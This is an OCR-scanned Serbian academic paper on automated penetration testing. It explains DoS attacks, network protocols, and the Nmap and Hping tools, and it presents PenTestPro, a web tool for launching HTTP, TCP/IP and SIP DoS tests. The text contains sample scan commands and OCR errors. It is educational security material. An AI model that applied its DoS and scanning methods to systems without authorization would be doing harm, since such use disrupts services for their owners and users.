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1. UvVOD

Brz rast internet i web tehnologija je podjednako koristan za preduzeca i
fizicka lica. Sa porastom novih tehnologija dolazi i pitanje bezbednosti na
Internetu. Studija sprovedena od strane FBI-ja 2005. godine, sugeriSe da su preko
87% kompanija bile zrtve zlonamernih napada svake godine. Studija dalje
pokazuje da ukupni gubici kompanija mogu biti preko 67 miliona americkih dolara
godidnje’. Pojava zlonamernih napada strahovito je povecean, kao Sto se moze
videti na slici ispod, koju je objavio Computer Emergency Response Team (CERT).

Number of Secunty Incidents Reported to CERT/CC, 1988-2003
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Slika 1 : CERT-ov grafikon incidenata 2

! Computer crime survey 2005 http://www.digitalriver.com/v2.0-
img/operations/naievigi/site/media/pdf/FBIccs2005.pdf
2
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Prema ovim podacima, broj zabelezenih incidenata je povecan za 100%
svakgodine, poCev od 1998. godine. Rast zlonamernih napada zabrinjava
preduzeca i njiovih poslovanja preko Interneta. Ovi napadi mogu uticati na
kompaniju na mnogo nacina, kao Sto su gubitak podataka, uskraéivanje usluga
(denial of service) i gubitak produktivnosti. Priroda ovih napada rezultirala je
rastom cele industrije koja se bavi pitanjima bezbednosti. Mrezni zastitni zidovi
(firewalls) i skeneri ugroZenosti su dve vrste zajednickih bezbednostnih reSenja
koja su danas dostupna. Ove solucije sluze za reSavanje specificnih problema:
podeSavanje zastitnog zida e spreciti neovlaéen pristup sistemu, dok ¢e skeneri
ugrozenosti uociti potencijalne panjivosti sistema. Medutim, ovi alati ne mogu da
obezbede identifikaciju razlicitih oblika napada. Testiranje penetracije sistema je
veoma vazno, dodatno sredstvo za reSavanje zajednickih bezbednostnih pitanja.
Takode, testovi penetracije sistema ne samo da indetifikuje postojece slabosti, vec¢
ih i eksploatiSe. Cilj testiranja jeste da se poboljsa ili poveéa bezbednost mreze ili
sistema. Ovi testovi se izvrSavaju tako Sto se kompromituju serveri, beZicne mreze,
web aplikacije i druge potencijalne izlozenosti, i nakon toga se identifiukju i
analiziraju problemi bezbednosti, tako da omoguéavaju “siguran plan”® da se
spreCe buduéi napadi. Penetracija sistema moze se wvrSiti rucno ili preko
automatizovanog programa. Posto testiranje obuhvata simuliranje razliCitih nivoa
napada na sistem, takode, nosi rizik da neki napad bude uspeSan i Stetan po
sistem. Da bi se smaniili ovi rizici, preduzeca angazuju veste testere koji razumeju
ograniCenja sistema. U ovom radu, predlazemo aplikaciju koja ¢e obezbediti
siguran, pouzdan, brz i razumljiv nacin obavljanja testiranja penetracije sistema. Sa
ovom aplikacijom, korisnik moze da izabere napade zasnovane na razliitim
protokolima, kao Sto su Hyper Text Transfer Protocol (HTTP), Transmission Control
Protocol/ Internet Protocol (TCP/IP), i Session Initiation Protocol (SIN). Aplikacija
omogucava korisniku da unese odredisSnu IP adresu i broj porta. Kada korisnik
potvrduje zahtev odgovaraju’i napad se aktivira i zlonamerno izradeni paketi se
salju ka odredenom sistemu. Korisnik, takode, ima opciju da zaustavi slanje paketa
u bilo kom trenutku. Kada se napad zavrsio, izvestaj je generisan u vidu log fajlova
i grafikona. Ovo omogucava korisniku da identifikuje, analizira i priorizuje
bezbednosne pretnje i pomogne u razvijanju bezbednosnog plana.

3 Nastalo iz izraza foolproof koji potice iz Engleskog jezika.
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2. Metodologija istrazivackog rada

2.1. Predmet istrazivanja

Pretmet istrazivanja je analiza i potpuno sagledavanje metodike
automatizovanog testiranja sistema na penetraciju u danasnjem poslovhom i
privatnom sektoru, kao i prezentovanje osnovnih metoda kroz prakti¢ne primere.

2.2. Hipoteticki okvir

Opsta hipoteza: Testiranje na penetraciju nekog sistema je odrziv nacin za
testiranje bezbednosti sistema na siguran i pouzdan nacin. Moze se koristiti da bi
se razumeli i analizirali bezbednostni problemi.

Radna hipotza: Kritike na racun automatizovane penetracije sistema su te da je
potrebno puno resursa i vremena da bi se zavrSilo jedno sveobuhvatno testiranje
na penetraciju.

Pojedinacna hipoteza: Automatizacija moze uticati na to da se obezbedi bolje
reSenje od testova koji se provode rucno, tj. bez automatizacije.

2.3. Ciljevi istrazivanja

Naucni cilj ovog istrazivnaja je analiza i potpuno razumevanije prirode i
funkcionalnosti automatizovanog testiranja na penetraciju radi uspesne analize
podataka dobijenih testiranjem i uocavanja slabosti nekog sistema.

2.4. Metode istrazivnaja i tok istrazivackog procesa

Osnovne metode: Za potrebe istrazivnaja, izvrSen je automatizovani test
na penetraciju. Pomocu nekoliko kompetentnih izvora strucne literature izvrSena je
podela automatizovanih testiranja prema protokolima, kao Sto su HTTP, SIP i
TCP/IP, a sa ciljem da se rasvetle njihove slabosti u realnom svetu.
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Statisticke metode: KorisCeni su aktuelni statisticki podaci vodecih
svetskih kompanija koji se bave bezbednostnim problemima u IT-u.

Tok istraZivackog procesa:

« U tre¢em poglavlju ¢e biti prikazana potreba za testiranjem na penetraciju.

« Poglavlje br. 4 objasnjava razlicite nacine usrkacdivanja usluga (Denial of
Service, DoS).

» Peto poglavlje pokriva osnove umrezavanja i daje opis razlicitim slojevima
OSI sistema. U ovom poglavlju govorimo o funkcionalnosti aplikativhog,
mreznog, transportnog sloja i sloja veze.

« Sesto poglavlje pokriva osnovne informacije o svim razli¢itim protokolima
koji se koriste u testiranju na penetraciju.

« Sedmo poglavlje razmatra prednosti i mane postojecih alata.

« Poglavlje br. 8 opisuje arhitekturu i funkcionalnost naseg testa na
penetraciju.

« Deveto poglavlje zakljuCuje rad i obezbeduje prostor za dalja istrazivanja.
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3. Potreba za testiranjem na penetraciju

Postoje brojne prednosti od testiranja na penetraciju, koliko iz poslovne
toliko i iz tehniCke perspektive. Neki od glavnih razloga za pocinjanje testiranja na
penetraciju su:

+ Bezbednostna pitanja

Bezbednostni problemi, kao Sto su zlonametni napadi, mrezni upadi, i krada
podataka moze dovesti do prekida u pruzanju usluga. Ovo bi moglo da dovede do
potencijalnog gubitka lojalnosti i utie na trzZiSnu vrednost neke kompanije.
Testiranjem na penetraciju se mogu izbeci ovakve pojave.

« Zastita informacija

Kompanije koriste razlicte bezbednostne mehanizme da zastite informacije, kao Sto
su metode kontrole pristupa, zastitni zidovi, kriptografija, sistemi za detekciju
upada, itd. Medutim, sa novim napadima koji se otkrivaju gotovo svakoga dana,
tesko je zastititi korisniCke ili sistemske informacije. Testiranjem na penetraciju bi
moglo resiti ove probleme, simulirajudi razliite napade istovremeno.

« Priorizacija bezbednostnih rizika

Upotreba testiranja na penetraciju kao standardne bezbednostne prakse, ne samo
da pomazu u razumevanju bezbedonosnih problema, ve¢ moze pomodi i u
priorizaciji ovih problema. Problemi identifikovani tokom testiranja mogu biti
prioritet na osnovu njihove jacine. Takode, ovi napori mogu dovesti do efikasne
alokacije budzeta.

« Finansijski gubitak

Testiranje na penetraciju pomaze da se ublazi gupitak prihoda, odnostno kapitala,
zbog zastoja usluga koje proistiCu iz zlonamernih napada. Ovo testiranje takode
moze da da spredi ili smanji kazne koje proizilaze iz loSih bezbednostnih praksi.

Testiranje na penetraciju bi trebalo da bude ukljuc¢en kao standardni proces
u testiranju sigurnosti. Tradicionalno, kompanije vise vole da obavljaju testiranja
na penetraciju pre izbacivanja novog proizvoda na trziSte. Medutim, takde je
preporucljivo da se testiranja sprovedu u sledec¢im situacijama:

» kada je dodata nova infrastruktura
« kada je instaliran novi softver
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» kada se primenjuju sistemske ispravke
« kada se primenjuju sistemske zakrpe
« kada se menjaju korisnicke polise

3.1. Proces testa na penetraciju

Proces testiranja na penetraciju se prema NIST-ovoj* metodologiji testa na
penetraciju moze podeliti u Cetiri faze: planiranje, otkrivanje, napad i podnoSenje
izvestaja.

PLANNING q DISCOVERY # ATTACK # REPORTING

Slika 2: Faze testiranja na penetraciju

Faza 1: Planiranje

Ovo je prva faza testa na penetraciju, i obicno podrazumeva standarde
planiranja, kao Sto su postavljanje ciljeva, zavrSne strategije testiranja,
identifikovanje probnih rokova i postavljanje okruzenja za testiranje. Veoma je
vazno da se identifikuju kljucni rezultati koji se oCekuju na kraju testiranja, jer e
to odrediti uspeh ovakvih eksperimenata. Pristanak rukovodilaca i pismena dozvola
je potrebna pre prelaska na sledecu fazu testiranja, ako se testiranja obavljaju u
okviru kompanija.

Faza 2: Otkrivnaje

Testiranje pocinje u fazi otkrivanja sa aktivnostima kao Sto su skeniranje
portova ili skeniranje mreze koje moze doveti do pronalazenja mogucih ciljeva.
Ostale aktivnosti u ovoj fazi ukljuCuju skeniranje ranjivosti sistema, presretanje
paketa i otimanja banera. Pored ovih aktivnosti, postoji jos jedna aktivnost pod
nazivom analiza ranjivosti koja se nalazi u ovoj fazi. Cilj ove faze je da se uporede
aplikacije koje su bile izlozene napadu sa standardnom bazom podataka. Ova baza

* National Institute of Standards and Technology, Pentesting,
http://www.c2networksecurity.com/pentesting.html
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podataka, poznatija kao baza podataka o ranjivosti sistema, pruza konkretne
informacije o razli¢itim vrstama napada. Na kraju ove faze, logfajlovi se generisu i
cuvaju u sistemu.

Faza 3: Napad

TreCa faza u procesu testiranja na penetraciju je napad. Kao sto joj samo
ime kaze, ova faza je odgovorna za obavljanje napada na sistem. Napadi se izvode
na propuste koji su pronadeniu u fazi otkrivanja. Faza napada je zavrSena kada je
svaki uspesan napad dovodi do dobijanja viSe privilegija u sistemu ili dobijanja
sistemskih informacija. Privilegije koje su steCene ovakvim napadima se koriste da
se pokrenu novi napadi na druge ciljeve. Ova petlja se nastavlja sve dok se ne
ostvare svi ciljevi u fazi napada. Faza napada zahteva konstantno nadgledanje
kako bi se osiguralo da je sistem stabilan bilo kada. Postoji moguénost da ako je
neki napad bio uspesSan, moze da izazove ozbiljna oSte¢enja unutar sistema.

Faza 4 : Izvestaj

Rezultati faze napada se prezentuju u fazi izvestaja. Konacni izvestaj mora
da sadrzi detalje ranjivosti, napade koji izvrSeni u testu i analiza log datoteka.
Problemi visokog rizika koji su otkriveni tokom testiranja su detaljno pregledani.
Najbitnije je da se izvestaj izvrsSi sa osvrtom na ozbiljnost problema i utvrdivanjem
prioriteta. Fazom izvesStaja se zakljuCuje ciklus testiranja na penetraciju.
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4. Napadi uskracivanja usluga (DoS)

Napad uskradivanja usluga® usmereni su na usluge i resurse neke
organizacije i Cine ih nedostupnim na neodredeno vreme. Tipi¢ni DoS napadi
ukljucuju preoptereéenje mreze sa laznim zahtevima, Cime se sprecava pristup
pravim korisnicima. Ponekad, ograniavanje pristupa odredenim korisnicima se
takode karakteriSe kao DoS napad. Genericke metode izvrSenja DoS napada su
sledece:

Ogranicavanje dostupnosti resursa
Menjanje informacija 0 mreznoj konfiguraciji
Fizicko unistenje

Distributivni DoS napad

Hwwn =

Svaki ¢vor u mrezi zahteva odredena sredstva kako bi bio dostupan korisnicima
u cilju da se obezbede nesmetane usluge. Ovo ukljuuje propusni opseg mreze,
memoriju, procesore itd. DoS napadi se mogu uspesno izvrsiti ograni¢avanjem
sredstava koja su na raspolaganju mreznim ¢vorovima. Na primer, propusni obseg
neke mreze moze biti efektivno preoptereéen od strane napadaca koji u mrezu
ubrizgava veliku koli¢inu mreznih paketa. Takode, napadac moze poslati pakete sa
razlicitih vorista u isto vreme ¢ime koristi sav raspolozivi propusni opseg mreze.

Distributivni DoS napadi nastaju kada se sa viSe razliCitih IP adresa Salje velika
koli¢ina podataka, radi preopterecenja propusnog opsega mreze ili uskracivanje
resursa ciljanog sistema. Ovakvi napadi se izvrSavaju pomocu razlicitih metoda.

» Zlonamerni program moze da sadrzi u sebi mehanizam Distributivhog
DoS napada, a jedan od poznatijih je MyDoom. Njegov DoS mehanizam
se aktivira na odredeni datum i vreme.

» Sistem moze biti zarazen trojancem, omogucavajucéi da kompromitovane
racunare pretvori u zombi racunare. Napadaci mogu provaliti u sisteme
koje koriste automatizovane i tako iskoriste propuste u sistemima koji im
omogucavaju nadgledanje veze na udaljenim serverima.

> Denial of service — DoS, http://www.cert.org/tech tips/denial of service.html
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5. UmrezZavanje

5.1. Aplikacioni sloj

Aplikacioni sloj je najvisi sloj OSI® modela. Ovaj sloj se bavi pitanjima kao
Sto su transparentnost mreze i rasporedivanja resursa. NajceSée aplikacije
ukljucuju slanje podataka sa jednog racunara na drugi, slanje elektronske poste i
prenos fajlova. Neki od protokola u aplikacionom sloju su Hypertext Transfer
Protocol (HTTP), File Transfer Protocol (FTP), Simple Mail Transfer Protocol
(SMTP), Telnet, Simple Network Management Protocol (SNMP) i Post Office
Protocol (POP3). Na slici ispod mozemo videti interakciju aplikacionog sloja.

|

ROUTER

Slika 3: Interakcija aplikacionog sloja

® Open System Interconnectivity, http://www.webopedia.com/quick ref/OSI Layers.asp
13| Strana
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5.2. Transportni sloj

Transportni sloj je odgovoran za prenos podataka. Podaci koji se
transportuju izmedu dve strane nazivaju se paketi. Paketi se sastoje od zaglavlja i
tela. Zaglavlje u paketu ukazuje na destinaciju paketa, a u telu paketa se nalaze
podaci se prenose. Osnovna svrha ovok sloja je pouzdana isporuka svih ovih
paketa. Ako su paketi veéeg kapaciteta nego Sto je sama mreza, onda neki paketi
mogu biti odbaceni ili se redosled poslanih paketa moze smenijivati. Ovaj sloj je
projektovan da reSava takve probleme. NajceSce koriSéeni protokoli u
transportnom sloju su Transmission Control Protocol (TCP) i User Datagram
Protocol (UDP). TCP je sloZeniji protokol, dok se UDP koristi za jednostavnije
prenose poruka.

5.3. Mrezni sloj

Mrezni sloj je odgovoran za isporuku paketa po principu izvor-odrediste.
Neki od drugih vaznih funkcija mreznog sloja su rutiranje paketa, umrezavanje,
upravljanje greskama i kontrolisanje zagusSenja mreze. Internet Protocol (IP) je
najcéesce koriséen protokol u ovom sloju. U cilju rutiranja paketa, svako odrediste
ima svoju 32-bitnu IP adresu. Ruteri koriste zaglavlja u IP adresama kako bi
odredili odgovarajucu rutu za paket kroz mrezu. Zaglavlja u IP adresama sadrze
polja koja oznacavaju izvor i odrediSte IP adrese. U okviru OSI sitema mrezni sloj
odgovara na servisne zahteve transportnog sloja.

5.4. Sloj veze

Sloj veze je odgovoran za prenos paketa od izvoriSta do rutera, od rutera do
rutea, itd. Sloj veze I fizicki sloj su implementirani u mreznu karticu, tj. Network
Interface Card (NIC). Najzastupljeniji protokol u okviru sloja veze je Ethernet.
Ethernet se koristi u Local Area Network-u (LAN) kada mnogi raCunari dele
zajednicki resurs.
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6. Protokoli

6.1. Hyper Text Transfer Protocol (HTTP)

HTTP protokol je najceSce koriS¢en protokol u aplikativnom sloju OSI
sistema. Osnovna upotreba ovog protokola je pregled web sajtova. Ovaj protokol
omogucava klijentima da posalju podatke na server i primaju podatke nazad sa
servera. Kada klijent (npr. web pretrazivac) Salje HTTP zahtev serveru, server
generiSe odgovarajuci odgovor na predhodni zahtev i Salje nazad klijentu. Odgovor
servera sadrzi informacije o statusu poslatog zahteva. Kada se neki sajt poseti po
prvi put, server izdaje kolaCi¢ (cookie) pretrazivaCu koji se zatim koristi kao
identifikator za indeksiranje baze podataka na serveru. Slede prikazi primera
jednog HTTP zahteva i odgovra na zahtev.

-m |

itml HTTP/1.1  //Request Line

GET /index.

Host: localhost /[Headers

User-Agent: Mozilla/5.0 (X11; Uj Linux i686; en-US; rv:1.9.1.3) Gecko/20091020
Ubuntu/9.10 (karmic) Firefox/3.5.3

Accept: /

Accept-Charset: 150-8859-1,utf-8:q=0.7,":9=0.7

| " ,\‘ -“ ‘qu
Keep-Alive: 300

Connection: keep-alive

Slika 4: Poruka HTTP zahteva
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HTTP protokol ima 9 razli¢ith metoda za zahtev. Neki od najcescée
koriS¢enih metoda zahteva su:

« HEAD - Glava generiSe odgovor slican GET zahtevu, a koristi se da
se dobiju informacije (metadata) iz odgovora u zaglavlju bez prenosa
sadrzaja.

e GET - GET zahtev se Kkoristi za preuzimanje informacija iz
RequestURI-a’.

e POST - dostavlja podatke preciziranom izvoru, koji se nalaze u telu
zahteva. Podaci iz HTML® formi mogu se poslati upotrebom POST-a.

Ostali parametri u HHTP zahtevu se nazivaju zaglavlja.

« HOST zaglavlje: oznac¢ava domacina (host-a) i broj porta resursa koji

se trazi.

» USER-AGENT zaglavlje: ukazuje na korisnik-agent zahtev i gde je
nastao.

« ACCEPT zaglavlje: ukazuje kakav ce tip sadrzaja i medija biti
prihvaceni.

« KEEP ALIVE zaglavlje: ukazuje da ¢e veza biti prekinuta nakon
odredenog vremena.

« CONNECTION zaglavlje: ukazuje na to da ¢e veza ostati aktivna na
odredeno vreme.

Nakon Sto se zahtev Salje na server, server odgovara sa porukom za svaki
poslati zahtev. Primer HTTP odgovra je prikazana na sledecoj slici.

7 RequestURI je Uniform Resourse Indentifier i on identifikuje resurs na koji se primenjuje zahtev.
8 Hyper Text Markup Language
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HTTP/1.1 200 OK

Date on, 11 November 2010 22:38:34 GMT
Server: Apache/1.3.3.7 (Unix) (Red-Hat/Linux
Last-Modified: Wed, 08 Jan 2003 23:11:55 GMT
Etag: "3f80f-1b6-3e1cb03k

Accept-Ranges: bytes

Content-Length: 438

Connection: close

Content-Type: text/html; charset=UTF-8

Slika 5: Poruka HTTP odgovora

Prva linija u poruci se naziva HTTP response kod. Sledi tabela na kojoj se
moze videti neki od uobicajenih HTTP response kodova.

HTTP RESPONSE CODE

OPIS

200 OK

Ovaj odgovor je generisan kada je HTTP zahtev
uspesan.

400 Bad Rquest

Ovaj odgovor ukazuje na to da server nije razumeo
zahtev zbog neodgovarajuce sintakse.

401 Unauthorized

Ovaj odgovor ukazuje na to da zahtev zahteva
autentifikaciju i da ispravni detalji o autentifikaciji nisu
obezbedeni.

403 Forbidden

Ovaj odgovor je generisan za zahtev za koji server ne
reaguje.

404 Not Found

Ovaj odgovor se generise ako server ne nade nijedan
izvor koji se poklapa sa URI zahtevom.

414 Request-URI Too
Long

Ovaj odgovor ukazuje da je URI zahtev predugacak za
server.

Tabela 1: Statusni kodovi HTTP zahteva
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6.2. Session Initiation Protocol (SIP)

SIP je protokol koji se nalazi u aplikativnom sloju OSI sistema i uglavhom se
koristi za prenos zvuka (Voice over IP, VoIP). SIP moZe da inicira modifikuje i
zavrsi sesije kao Sto je Internet telefonija. SIP omogucava novim korisnicima da se
pridruze vec¢ postojecim sesijama i omogucava da se mediji poput fotografija i
videa dodaju ili uklanjaju sa postojece sesije. SIP protokol podrzava sledece
funkcionalnosti:

« User location: Ova funkcionalnost je odgovorna za izbog komunikacionog
cvora.

« User availability: Odreduje da li druga strana Zeli da ucestvuje u
razgovoru.

« User Capabilities: Izbor medijskih parametara.

+ Session Setup: Koristi se za utvrdivanje parametara sesije na oba kraja.

« Session Managment: Koristi se za prenos, izmenu i zavrSetak parametara
sesije.

U nastavku ¢emo diskutovati o primeru SIP INVITE poruke kako bi se lakse
razumeo SIP zahtev, pre izvodenja SIP testiranja.

INVITE sip:userl@test.com SIP/2.0 Request Line

Via: SIP/2.0/TCP client.sj.com:5060;branch=z9hG4bf9
Max-Forwards: 70

From: USER1<sip:userl@test.com>;tag=9fxced76sl
To: USER2<sip: user2@test.com >

Call-ID: 8746347 74@test.com T Headers
CSeq: 1 INVITE

Contact: < sip:userl@test.com;transport=tcp>
Content-Type: application/sdp
Content-Length: 133

v=0
o=userl 289098984526 IN IP4 10.20.30.40
s=Session SDP
c=INIP4 192.0.2.10
t=00
m=audio 46767 RTP/AVP 0
a=rtpmap:0 PCMU /8000

Message Body

Slika 6: Jednostavan primer SIP INVITE poruke
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Najcesce koriséene metode SIP zahteva:

« INVITE: Stavlja do zanja korisniku da je pozvan da ucestvuje u pozivu.

* REGISTER: Resistruje adresu u polju zaglavlja.

« ACK: Ukazuje na to da je korisnik dobio konacan odgovor za INVITE
zahtev.

» CANCEL: ZavrSava zahtev koji je predhodno iniciran.

» BYE: ZavrSava sesiju izmedu dva korisnika .

6.3.Transmission Control Protocol (TCP)

TCP obezbeduje pouzdanu isporuku paketa i obezbeduje da paketi stizu u
ispravnhom redosledu. Takode, ovaj protokol proverava da li su podaci osteceni u
toku transporta. TCP pruza ove usluge pomocu sekvencionalnog numerisanja
paketa. U slucaju problema TCP moze zahtevati od posSiljaoca ponovno emitovanije
paketa. TCP je “connection oriented” protokol, sto znaci da uspostavlja vezu sa
serverom pre slanja podataka kako bi bio siguran da je server “ziv”. Ovaj proces se
naziva TCP 3-way handshake, kao Sto je prikazano na slici broj 7.

THREE-WAY HANDSHAKE (TCP)

N

(1) SYN ‘>
E (2) SYN/ACK
<

(3) ACK

SYN = SYNCHRONIZATION ACK = ACKNOWLEDGEMENT

Slika 7: TCP 3-way handshake proces’®

9

http://2.bp.blogspot.com/ L yymfeg20Q/TSG ICFTnXI/AAAAAAAAABO/IBg6bmY8f10A/s1600/20.JP
G
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Na slici broj 7 je prikazano TCP handshake, odnostno TCP “rukovanje” u tri koraka:

1. Klijent trazi uspostavljanje veze slanjem SYN poruke serveru.
2. Server prihvata ovaj zahtev i Salje nazad SYN-ACK poruku nazad.
3. Klijent odgovara sa ACK porukom, a veza sa serverom je uspostavljena.

6.4. User datagram Protocol (UDP)

UDP je alternativa TCP protokolu i ponekad se pominje kao UDP/IP. Kao i
TCP, UDP protokol koristi Internet Protocol (IP) da posalje jedinicu podataka (koji
se nazivaju datagrami) sa jednog racunara na drugi. Za razliku od TCP-a, UDP
protokol ne obezbeduje usluge podele poruka u paketa (datagrame). Konkretno,
UDP ne obezbeduje redosled paketa koji pristizu na neki racunar, a to znaci da
aplikacioni programi koji koriste UDP moraju biti sigurni da je cela poruka dospela
na odrediSe. Mrezne aplikacije koje Zele da ustede vreme obrade podataka radije
koriste UDP nego TCP, zato Sto imaju veoma male jedinice podataka za razmenu i
samim tim Sanse za oStecenje podataka prilikom transporta su veoma male.
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7. Poredenje postojecih alata

7.1. Network Mapper (Nmap)

Nmap je skener porta koji se obi¢no koristi za identifikovanje aktivnih
hostova i usluge povezane sa njima. On omogucava razliCite vrste skeniranja
portova, kako bi utvrdio da li je port otvoren ili zatvoren. Nmap koristi IP pakete za
pronalaZzenje dostupnih hostova na mrezi. Primarna upotreba Nmap-a je:

« Pronalazenje otvorenih portova na masini hosta.

« Pronalazenje operativnog sistema hosta.

» Pronalazenje vrste paketnih filtera i zastitnih zidova koje masSina nekog
hosta koristi.

Nedostaci Nmap alata su:

« Nmap je alat za skeniranje slabosti nekog sistema. Dakle, pomaze
u pronalazenju mogudih slabosti u sistemu, ali ne ekspolatiSe ove
ranjivosti. .

« Posto je ovaj alat napravljen u vidu komande linije, korisnik ovog
alata treba da procita uputstvo da bi razumeo razlicite opcije koje
pruzaju skeniranje.

» Potrebne root privilegije na Linux operativnim sistemima kako bi
se kako bi se koristile komande ovog alata.

Aplikacija koja se koristi za test na penetraciju, moze prevazi¢i ove
nedostatke, tako Sto ¢e dozvoliti korisniku da skeniranje porta izvrSi preko web
portala, gde korisnik ne mora da instalira Nmap alat, niti da razume komande ovog
alata. Na ovaj nacin, Nmap alat moze da koristi bilo koji korisnik, koji ima pocetno
znanje o bezbednosti. Na slici broj 8 moZzemo videti kako izgleda koriS¢enje Nmap
alata.
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# nmap -A -T4 scanme.nmap.org d0ze

Starting Nmap 4.01 ( http://www.insecure.org/nmap/ ) at 2006-03-20 15:53 PSI
[nteresting ports on scanme.nmap.org (205.217.153.62):

(The 1667 ports scanned but not shoun below are in state: filtered)
PORT ~ STATE SERYICE YERSION

22/tcp open  ssh OpenSSH 3.9p1 (protocol 1.99)

25/tcp opn  smtp  Postfix smtpd

53/tcp open  domain ISC Bind 9.2.1

10/tcp closed gopher

80/tcp open http  Apache httpd 2.0.52 ((Fedora))

113/tcp closed auth

Device type: general purpose

Running: Linux 2.6.X

05 details: Linux 2.6.0 - 2.6.11

Uptime 26.177 days (since MWed Feb 22 11:39:16 2006)

[nteresting ports on d0ze.internal (192.168.12.3):

(The 1664 ports scanned but not shoun below are in state: closed)

PORT STATE SERVICE YERSION

21/tcp  open ftp Serv-U ftpd 4.0

25/tcp  open smtp [Mail NT-ESMTP 7.15 2015-2

80/tcp open http Microsoft IIS webserver 5.0

110/tcp open pop3 [Mail pop3d 7.15 931-1

135/tcp open mstask Microsoft mstask (task server - c:\winnt\system32\
445/tcp open microsoft-ds Microsoft Windows XP microsoft-ds

1025/tcp open msrpc Microsoft MWindows RPC

5800/tcp open wvnc-http ULtr@YNC (Resolution 1024x800; YNC TCP port: 5900)
MAC Address: 00:A0:CC:51:72:7E (Lite-on Communications)

Device type: general purpose

Running: Microsoft Windows NT/2K/XP

0S5 details: Microsoft Windows 2000 Professional

Service Info: 0S: MWindows

Nmap finished: 2 IP addresses (2 hosts up) scanned in 42.291 seconds
flog/home/fyodor /nmap-nisc/Screenshots/042006#

Slika 8: Prikaz upotrebe Nmap alata
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7.2. Hping
Hping je open-source analizator paketa za TCP/IP protokol. To je alatka u
vidu komandne linije koja omogucava korisnicima da piSu skripte koriste¢i TCL
jezik®. Ovaj alat ima moguénost sa posalje jedan ili vide paketa u isto vreme, &to
je korisno za odredivanje konfiguracije zastitnog zida i zaobilaZzenje bezbednostnih
uredaja. Hping je, takode, diskretniji alat od Nmap alata, posto koristi TCP protokol
umesto ICMP protokola. Karakteristike Hping alata su:

« Koristan je za testiranje zastitnih zidova.

» Prikazuje informacije o operativhom sistemu.
» Skeniranje porta.

* Revizija TCP/IP-a.

» Korisno za studente da uce o TCP/IP-u.

Mane ovog alata su:

« To je alat u obliku komandne linije, tako da nije jednostavan za upotrebu.

» Korisnik teba da izgube dosta vremena da bi razumeli komande ovog alata i
vrétiti spoofing paketa.

* Ne mogu se slati spoof-ovani HTTP i SIP paketi.

Hping alat se moze koristiti za proveru porta, tj da li je port otvoren ili filtriran.
Slede¢a komadna Salje paket na odrediSte sa IP adresom 127.0.0.1 preko porta
22.

sudo hping3 127.0.0.1 -p 22 —c 4 -V =S

sudo hping [destination host] [port] [number of packets to transmit] [verbose][-S for SYN]

19 Tool Command Language
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Rezultat predhodne komande je prikazano na sledecoj slici.

file Edit View Terminal Help

neha@neha-laptop:~$ sudo hping3 127.0.0.1 -p 22 -c 4 -V -§
[sudo) password for neha:

using lo, addr: 127.0.0.1, MTU: 16436

HPING 127.0.0.1 (10 127.6.0.1): S set, 40 headers + 0 data bytes
len=40 1p=127.6.0.1 t1l=64 DF 1d=0 tos=8 iplen=40

sport=22 flags=RA 5eq=0 win=0 rtt=123.9 ms

5¢q=0 ack=040844296 s5um=4100 urp=0

Len=48 1p=127.6.0.1 tt1=64 DF 1d=8 tos5=0 iplen=49
sport=22 flags=RA seq=l win=0 rtt=0,2 ms
seq=0 ack=1892755852 sum=170¢e urp=0

len=40 1p=127.0.0.1 tt1=64 DF id=8 tos=8 iplen=40
sport=22 flags=RA seq=2 win=0 rtt=6.2 ms
5¢q=0 ack=1105580057 sum=7490 urp=0

len=40 1p=127.0.0.1 ttl=64 DF id=0 tos=0 iplen=40
sport=22 flags=RA seq=3 win=0 rtt=0,1 ms
seq=0 ack=1171058050 sum=2375 urp=0

127.6.0.1 hping statistic
4 packets transmitted, 4 packets rece

ved, 0% packet loss
round-trip min/avg/sax = 0,1/31.1/123}9 ms
neha@neha-laptop:~$ |

Slika 9 Skeniranje porta upotrebom Hping alata

Na predhodnoj slici naznaceno je da 0% iznosi gubitak paketa, Sto ukazuje
na to da je port otvoren, odnostno da nije filtriran. U ovom slucaju da je port
filtriran, umesto 0% bio bi maksimalan gubitak od 100%. U aplikaciji za test na
penetraciju koristili smo Hping za obavljanje veéine TCP DoS napada.

24 | Strana
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8. Alat za automatizovano testiranje na penetraciju

Pen Test Pro je aplikacija koja je razvijena kao open-source web-based
aplikacija koja se koristi za testiranje na penetraciju nekog sistema. Ova aplikacija
nudi korisnicima laku upotrebu i fleksibilnost u obavljanju automatizovanih testova
na penetraciju putem veb pretraZivaca. Takode, ova aplikacija se moze koristiti za
izvrSavanje napada na sopstveni sistem bez preuzimanja aplikacije sa Interneta.
Korisnik ove aplikacije moze izvesti veliki broj razliCitih napada. Korisnicki interfejs
(UDM ima u sebi ugradene opcija za odabir odgovaraju¢eg napada i kao i
odgovarajuce parametre za svaki napad. Po zavrSetku testa alatka pruza detaljne
log fajlove sa podacima kao Sto su tipovi napada, vreme trajanja napada itd. Svi
ovi podaci su dostupni za preuzimanje na korisnickom racunaru. Korisnik ove
podatke moze da koristi za sveobuhvatnu alanlizu snage postojeteg
bezbednostnog sistema. Na sledecoj slici mozemo videti kako izgleda glavni
korisnicki interfejs ove aplikacije.

PenTestPro

Evaluate the security of your system

D e Open Source Penetration Test ToolKit for Protocol Based

B WP Altacks
B ow

B o Test your systom aganst various vuheradiltics

PenTestfro allows you to test your system against HTTP Dos attacks, TOPAP Dos
Related Links attacks and SIP Dos attacks

B What are DOS attacks? To partorm any attack. choose the type of attack, enter destination domain and
HTTP Shwloris DO monkor the output

n slacks

B SIPDOS attacks

n What is Pentraton
Testing?

Slika 10: Izgled glavne strane aplikacije

11 User Interface
25 | Strana
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Na slici ispod je objasnjeno kako aplikacija funkcioniSe. MasSina hosta
pristupa aplikaciji preko veb pretrazivaCa i bira koji ¢e napad da se izvrSi
obezbeduje ulazne parametre. Kada se napadi zavrSeni, rezultati u obliku log
fajlova su dostupni korisniku koji je pokrenuo napade.

SELECT ATTACK, INPUT PARAMS

PERFDRM ATTACK

Slika 11: Dijagram toka podataka

26 | Strana
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8.1. Implementacija napada

Ova aplikacija je dizajnirana da obavlja DoS napade na bazi HTTP, SIP i
TCP/IP protokola. Svaki protokol sadrZi razli¢ite skupove napada. Sledeci deo
opisuje svaki od njih.

8.1.1. DoS napadi na HTTP protokol

Types of protocols HTTP Protocol Based Attacks

B Test your system against various vulnerabilities

R s

W cene The Hypertext Transter Protocol (MTTP) & a networking protocol for dstributed.,
collborative, hypermedia information systems. HTTP is the foundation of data
communication for the World wide web

Rolated Web Links

(1)HTTP Tortu re Testing :
B What ae DOS attacks?

o HTTP Slowloris DOS

Enter the destination domain:

oltacks

B 5P DOS attacks
